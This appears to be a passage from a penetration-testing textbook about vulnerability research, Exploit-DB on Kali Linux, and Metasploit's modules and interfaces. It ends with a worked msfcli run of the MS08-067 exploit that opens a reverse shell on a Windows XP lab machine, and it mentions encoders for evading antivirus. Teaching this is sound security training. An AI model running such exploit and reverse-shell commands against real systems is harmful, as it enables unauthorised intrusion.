(For more resources related to this topic, see here.)

Vulnerability research

Understanding the capabilities of a specific software or hardware product may provide a starting point for investigating vulnerabilities that could exist in that product. Conducting vulnerability research is not easy, neither is it a one-click task. Thus, it requires a strong knowledge base with different factors to carry out security analysis. The following are the factors to carry out security analysis:

• Programming skills: This is a fundamental factor for ethical hackers. Learning the basic concepts and structures that exist with any programming language should grant the tester with an imperative advantage of finding vulnerabilities. Apart from the basic knowledge of programming languages, you must be prepared to deal with the advanced concepts of processors, system memory, buffers, pointers, data types, registers, and cache. These concepts are implementable in almost any programming language such as C/C++, Python, Perl, and Assembly. To learn the basics of writing an exploit code from a discovered vulnerability, please visit http://www.phreedom.org/presentations/exploit-code-development/.
• Reverse engineering: This is another wide area for discovering the vulnerabilities that could exist in the electronic device, software, or system by analyzing its functions, structures, and operations. The purpose is to deduce a code from a given system without any prior knowledge of its internal working, to examine it for error conditions, poorly designed functions, and protocols, and to test the boundary conditions. There are several reasons that inspire the practice of reverse engineering skills such as the removal of copyright protection from a software, security auditing, competitive technical intelligence, identification of patent infringement, interoperability, understanding the product workflow, and acquiring the sensitive data. Reverse engineering adds two layers of concept to examine the code of an application: source code auditing and binary auditing. If you have access to the application source code, you can accomplish the security analysis through automated tools or manually study the source in order to extract the conditions where vulnerability can be triggered. On the other hand, binary auditing simplifies the task of reverse engineering where the application exists without any source code. Disassemblers and decompilers are two generic types of tools that may assist the auditor with binary analysis. Disassemblers generate the assembly code from a complied binary program, while decompilers generate a high-level language code from a compiled binary program. However, dealing with either of these tools is quite challenging and requires a careful assessment.
• Instrumented tools: Instrumented tools such as debuggers, data extractors, fuzzers, profilers, code coverage, flow analyzers, and memory monitors play an important role in the vulnerability discovery process and provide a consistent environment for testing purposes. Explaining each of these tool categories is out of the scope of this book. However, you may find several useful tools already present under Kali Linux. To keep a track of the latest reverse code engineering tools, we strongly recommend that you visit the online library at http://www.woodmann.com/collaborative/tools/index.php/Category:RCE_Tools.
• Exploitability and payload construction: This is the final step in writing the proof-of-concept (PoC) code for a vulnerable element of an application, which could allow the penetration tester to execute custom commands on the target machine. We apply our knowledge of vulnerable applications from the reverse engineering stage to polish shellcode with an encoding mechanism in order to avoid bad characters that may result in the termination of the exploit process.

Depending on the type and classification of vulnerability discovered, it is very significant to follow the specific strategy that may allow you to execute an arbitrary code or command on the target system. As a professional penetration tester, you may always be looking for loopholes that should result in getting a shell access to your target operating system. Thus, we will demonstrate a few scenarios with the Metasploit framework, which will show these tools and techniques.

Vulnerability and exploit repositories

For many years, a number of vulnerabilities have been reported in the public domain. Some of these were disclosed with the PoC exploit code to prove the feasibility and viability of a vulnerability found in the specific software or application. And, many still remain unaddressed. This competitive era of finding the publicly available exploits and vulnerability information makes it easier for penetration testers to quickly search and retrieve the best available exploit that may suit their target system environment. You can also port one type of exploit to another type (for example, Win32 architecture to Linux architecture) provided that you hold intermediate programming skills and a clear understanding of OS-specific architecture. We have provided a combined set of online repositories that may help you to track down any vulnerability information or its exploit by searching through them.

Not every single vulnerability found has been disclosed to the public on the Internet. Some are reported without any PoC exploit code, and some do not even provide detailed vulnerability information. For this reason, consulting more than one online resource is a proven practice among many security auditors.

The following is a list of online repositories:

Although there are many other Internet resources available, we have listed only a few reviewed ones. Kali Linux comes with an integration of exploit database from Offensive Security. This provides an extra advantage of keeping all archived exploits to date on your system for future reference and use. To access Exploit-DB, execute the following commands on your shell:

# cd /usr/share/exploitdb/
# vim files.csv

This will open a complete list of exploits currently available from Exploit-DB under the /pentest/exploits/exploitdb/platforms/ directory. These exploits are categorized in their relevant subdirectories based on the type of system (Windows, Linux, HP-UX, Novell, Solaris, BSD, IRIX, TRU64, ASP, PHP, and so on). Most of these exploits were developed using C, Perl, Python, Ruby, PHP, and other programming technologies. Kali Linux already comes with a handful set of compilers and interpreters that support the execution of these exploits.

How to extract particular information from the exploits list?

Using the power of bash commands, you can manipulate the output of any text file in order to retrieve the meaningful data. You can either use searchsploit, or this can also be accomplished by typing cat files.csv |grep '"' |cut -d";" -f3 on your console. It will extract the list of exploit titles from a files.csv file. To learn the basic shell commands, please refer to http://tldp.org/LDP/abs/html/index.html.

Advanced exploitation toolkit

Kali Linux is preloaded with some of the best and most advanced exploitation toolkits. The Metasploit framework (http://www.metasploit.com) is one of these. We have explained it in a greater detail and presented a number of scenarios that would effectively increase the productivity and enhance your experience with penetration testing. The framework was developed in the Ruby programming language and supports modularization such that it makes it easier for the penetration tester with optimum programming skills to extend or develop custom plugins and tools. The architecture of a framework is divided into three broad categories: libraries, interfaces, and modules. A key part of our exercises is to focus on the capabilities of various interfaces and modules. Interfaces (console, CLI, web, and GUI) basically provide the front-end operational activity when dealing with any type of modules (exploits, payloads, auxiliaries, encoders, and NOP). Each of the following modules have their own meaning and are function-specific to the penetration testing process.

• Exploit: This module is the proof-of-concept code developed to take advantage of a particular vulnerability in a target system
• Payload: This module is a malicious code intended as a part of an exploit or independently compiled to run the arbitrary commands on the target system
• Auxiliaries: These modules are the set of tools developed to perform scanning, sniffing, wardialing, fingerprinting, and other security assessment tasks
• Encoders: These modules are provided to evade the detection of antivirus, firewall, IDS/IPS, and other similar malware defenses by encoding the payload during a penetration operation
• No Operation or No Operation Performed (NOP): This module is an assembly language instruction often added into a shellcode to perform nothing but to cover a consistent payload space

For your understanding, we have explained the basic use of two well-known Metasploit interfaces with their relevant command-line options. Each interface has its own strengths and weaknesses. However, we strongly recommend that you stick to a console version as it supports most of the framework features.

MSFConsole

MSFConsole is one of the most efficient, powerful, and all-in-one centralized front-end interface for penetration testers to make the best use of the exploitation framework. To access msfconsole, navigate to Applications | Kali Linux | Exploitation Tools | Metasploit | Metasploit framework or use the terminal to execute the following command:

# msfconsole

You will be dropped into an interactive console interface. To learn about all the available commands, you can type the following command:

msf > help

This will display two sets of commands; one set will be widely used across the framework, and the other will be specific to the database backend where the assessment parameters and results are stored. Instructions about other usage options can be retrieved through the use of -h, following the core command. Let us examine the use of the show command as follows:

msf > show -h
[*] Valid parameters for the "show" command
are: all, encoders, 
nops, exploits, payloads, auxiliary, plugins, options
[*] Additional module-specific parameters are:
advanced, evasion, 
targets, actions

This command is typically used to display the available modules of a given type or all of the modules. The most frequently used commands could be any of the following:

• show auxiliary: This command will display all the auxiliary modules
• show exploits: This command will get a list of all the exploits within the framework
• show payloads: This command will retrieve a list of payloads for all platforms. However, using the same command in the context of a chosen exploit will display only compatible payloads. For instance, Windows payloads will only be displayed with the Windows-compatible exploits
• show encoders: This command will print the list of available encoders
• show nops: This command will display all the available NOP generators
• show options: This command will display the settings and options available for the specific module
• show targets: This command will help us to extract a list of target OS supported by a particular exploit module
• show advanced: This command will provide you with more options to fine-tune your exploit execution

We have compiled a short list of the most valuable commands in the following table; you can practice each one of them with the Metasploit console. The italicized terms next to the commands will need to be provided by you:

It is important for you to understand their basic use with different sets of modules within the framework.

MSFCLI

Similar to the MSFConsole interface, a command-line interface (CLI) provides an extensive coverage of various modules that can be launched at any one instance. However, it lacks some of the advanced automation features of MSFConsole.

To access msfcli, use the terminal to execute the following command:

# msfcli -h

This will display all the available modes similar to that of MSFConsole as well as usage instructions for selecting the particular module and setting its parameters. Note that all the variables or parameters should follow the convention of param=value and that all options are case-sensitive. We have presented a small exercise to select and execute a particular exploit as follows:

# msfcli windows/smb/ms08_067_netapi O
[*] Please wait while we load the module tree...
 
   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST                     yes       The target
address
   RPORT    445              yes       Set the SMB
service port
   SMBPIPE  BROWSER          yes       The pipe
name to use (BROWSER, 
SRVSVC)

The use of O at the end of the preceding command instructs the framework to display the available options for the selected exploit. The following command sets the target IP using the RHOST parameter:

# msfcli windows/smb/ms08_067_netapi
RHOST=192.168.0.7 P
[*] Please wait while we load the module tree...
 
Compatible payloads
===================
 
   Name                             Description
   ----                             -----------
   generic/debug_trap               Generate a debug
trap in the target process
   generic/shell_bind_tcp           Listen for a
connection and spawn a command shell
...

Finally, after setting the target IP using the RHOST parameter, it is time to select the compatible payload and execute our exploit as follows:

# msfcli windows/smb/ms08_067_netapi
RHOST=192.168.0.7 LHOST=192.168.0.3 PAYLOAD=windows/shell/reverse_tcp E
[*] Please wait while we load the module tree...
[*] Started reverse handler on 192.168.0.3:4444
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP Service Pack 2 -
lang:English
[*] Selected Target: Windows XP SP2 English (NX)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (240 bytes) to 192.168.0.7
[*] Command shell session 1 opened (192.168.0.3:4444
-> 192.168.0.7:1027)
 
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
 
C:WINDOWSsystem32>

As you can see, we have acquired a local shell access to our target machine after setting the LHOST parameter for a chosen payload.